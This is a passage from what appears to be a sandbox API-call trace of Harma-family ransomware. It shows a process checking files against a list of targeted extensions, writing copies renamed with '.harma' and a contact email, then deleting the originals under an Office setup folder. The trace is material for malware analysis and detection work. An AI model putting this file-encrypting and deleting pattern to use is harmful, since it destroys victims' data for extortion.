hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0052.295] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.295] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.295] SetEndOfFile (hFile=0x15c) returned 1 [0052.296] CloseHandle (hObject=0x15c) returned 1 [0052.297] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.297] SetEndOfFile (hFile=0x1a0) returned 1 [0052.298] CloseHandle (hObject=0x1a0) returned 1 [0052.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.299] lstrlenW (lpString=".doc") returned 4 [0052.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString=".docx") returned 5 [0052.299] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.299] lstrlenW (lpString=".pdf") returned 4 [0052.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString=".xls") returned 4 [0052.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString=".xlsx") returned 5 [0052.299] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.299] lstrlenW (lpString=".ppt") returned 4 [0052.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.299] lstrlenW (lpString=".zip") returned 4 [0052.299] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.299] lstrlenW (lpString=".rar") returned 4 [0052.299] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString=".bz2") returned 4 [0052.299] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.299] lstrlenW (lpString=".7z") returned 3 [0052.299] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString=".dbf") returned 4 [0052.300] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString=".1cd") returned 4 [0052.300] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString=".jpg") returned 4 [0052.300] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString=".doc") returned 4 [0052.300] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString=".docx") returned 5 [0052.300] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.300] lstrlenW (lpString=".pdf") returned 4 [0052.300] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString=".xls") returned 4 [0052.300] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString=".xlsx") returned 5 [0052.300] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.300] lstrlenW (lpString=".ppt") returned 4 [0052.300] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.300] lstrlenW (lpString=".zip") returned 4 [0052.300] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.300] lstrlenW (lpString=".rar") returned 4 [0052.300] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString=".bz2") returned 4 [0052.300] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.300] lstrlenW (lpString=".7z") returned 3 [0052.300] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.301] lstrlenW (lpString=".dbf") returned 4 [0052.301] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.301] lstrlenW (lpString=".1cd") returned 4 [0052.301] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0052.301] lstrlenW (lpString=".jpg") returned 4 [0052.301] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.301] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.301] lstrlenW (lpString="Proof.XML") returned 9 [0052.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.301] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1347) returned 1 [0052.301] CloseHandle (hObject=0x1a0) returned 1 [0052.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0052.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.302] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.302] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.302] GetLastError () returned 0x0 [0052.302] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x543, lpOverlapped=0x0) returned 1 [0052.304] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0052.305] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.305] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.305] SetEndOfFile (hFile=0x15c) returned 1 [0052.305] CloseHandle (hObject=0x15c) returned 1 [0052.306] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.306] SetEndOfFile (hFile=0x1a0) returned 1 [0052.306] CloseHandle (hObject=0x1a0) returned 1 [0052.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.307] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0052.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.307] lstrlenW (lpString=".doc") returned 4 [0052.307] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.307] lstrlenW (lpString=".docx") returned 5 [0052.307] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.307] lstrlenW (lpString=".pdf") returned 4 [0052.307] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.307] lstrlenW (lpString=".xls") returned 4 [0052.307] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.307] lstrlenW (lpString=".xlsx") returned 5 [0052.307] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.307] lstrlenW (lpString=".ppt") returned 4 [0052.307] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.307] lstrlenW (lpString=".zip") returned 4 [0052.307] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.308] lstrlenW (lpString=".rar") returned 4 [0052.308] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString=".bz2") returned 4 [0052.308] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString=".7z") returned 3 [0052.308] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.308] lstrlenW (lpString=".dbf") returned 4 [0052.308] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.308] lstrlenW (lpString=".1cd") returned 4 [0052.308] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.308] lstrlenW (lpString=".jpg") returned 4 [0052.308] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.308] lstrlenW (lpString=".doc") returned 4 [0052.308] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString=".docx") returned 5 [0052.308] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.308] lstrlenW (lpString=".pdf") returned 4 [0052.308] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString=".xls") returned 4 [0052.308] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.308] lstrlenW (lpString=".xlsx") returned 5 [0052.308] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.308] lstrlenW (lpString=".ppt") returned 4 [0052.308] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.309] lstrlenW (lpString=".zip") returned 4 [0052.309] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.309] lstrlenW (lpString=".rar") returned 4 [0052.309] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.309] lstrlenW (lpString=".bz2") returned 4 [0052.309] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.309] lstrlenW (lpString=".7z") returned 3 [0052.309] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.309] lstrlenW (lpString=".dbf") returned 4 [0052.309] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.309] lstrlenW (lpString=".1cd") returned 4 [0052.309] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0052.309] lstrlenW (lpString=".jpg") returned 4 [0052.309] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.309] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.309] lstrlenW (lpString="Proof.XML") returned 9 [0052.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.787] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1457) returned 1 [0052.787] CloseHandle (hObject=0x204) returned 1 [0052.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0052.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.787] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.787] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.788] GetLastError () returned 0x0 [0052.788] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0052.790] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0052.791] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.791] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.791] SetEndOfFile (hFile=0x1fc) returned 1 [0052.791] CloseHandle (hObject=0x1fc) returned 1 [0052.793] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.793] SetEndOfFile (hFile=0x204) returned 1 [0052.794] CloseHandle (hObject=0x204) returned 1 [0052.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0052.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.794] lstrlenW (lpString=".doc") returned 4 [0052.794] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString=".docx") returned 5 [0052.795] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.795] lstrlenW (lpString=".pdf") returned 4 [0052.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString=".xls") returned 4 [0052.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString=".xlsx") returned 5 [0052.795] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.795] lstrlenW (lpString=".ppt") returned 4 [0052.795] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.795] lstrlenW (lpString=".zip") returned 4 [0052.795] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.795] lstrlenW (lpString=".rar") returned 4 [0052.795] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString=".bz2") returned 4 [0052.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString=".7z") returned 3 [0052.795] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.795] lstrlenW (lpString=".dbf") returned 4 [0052.795] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.795] lstrlenW (lpString=".1cd") returned 4 [0052.795] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.796] lstrlenW (lpString=".jpg") returned 4 [0052.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.796] lstrlenW (lpString=".doc") returned 4 [0052.796] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".docx") returned 5 [0052.796] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.796] lstrlenW (lpString=".pdf") returned 4 [0052.796] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".xls") returned 4 [0052.796] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".xlsx") returned 5 [0052.796] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.796] lstrlenW (lpString=".ppt") returned 4 [0052.796] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.796] lstrlenW (lpString=".zip") returned 4 [0052.796] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.796] lstrlenW (lpString=".rar") returned 4 [0052.796] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".bz2") returned 4 [0052.796] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".7z") returned 3 [0052.796] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.797] lstrlenW (lpString=".dbf") returned 4 [0052.797] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.797] lstrlenW (lpString=".1cd") returned 4 [0052.797] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0052.797] lstrlenW (lpString=".jpg") returned 4 [0052.797] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.797] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.797] lstrlenW (lpString="WordMUI.XML") returned 11 [0052.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.798] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1800) returned 1 [0052.798] CloseHandle (hObject=0x204) returned 1 [0052.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0052.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.798] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.798] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: 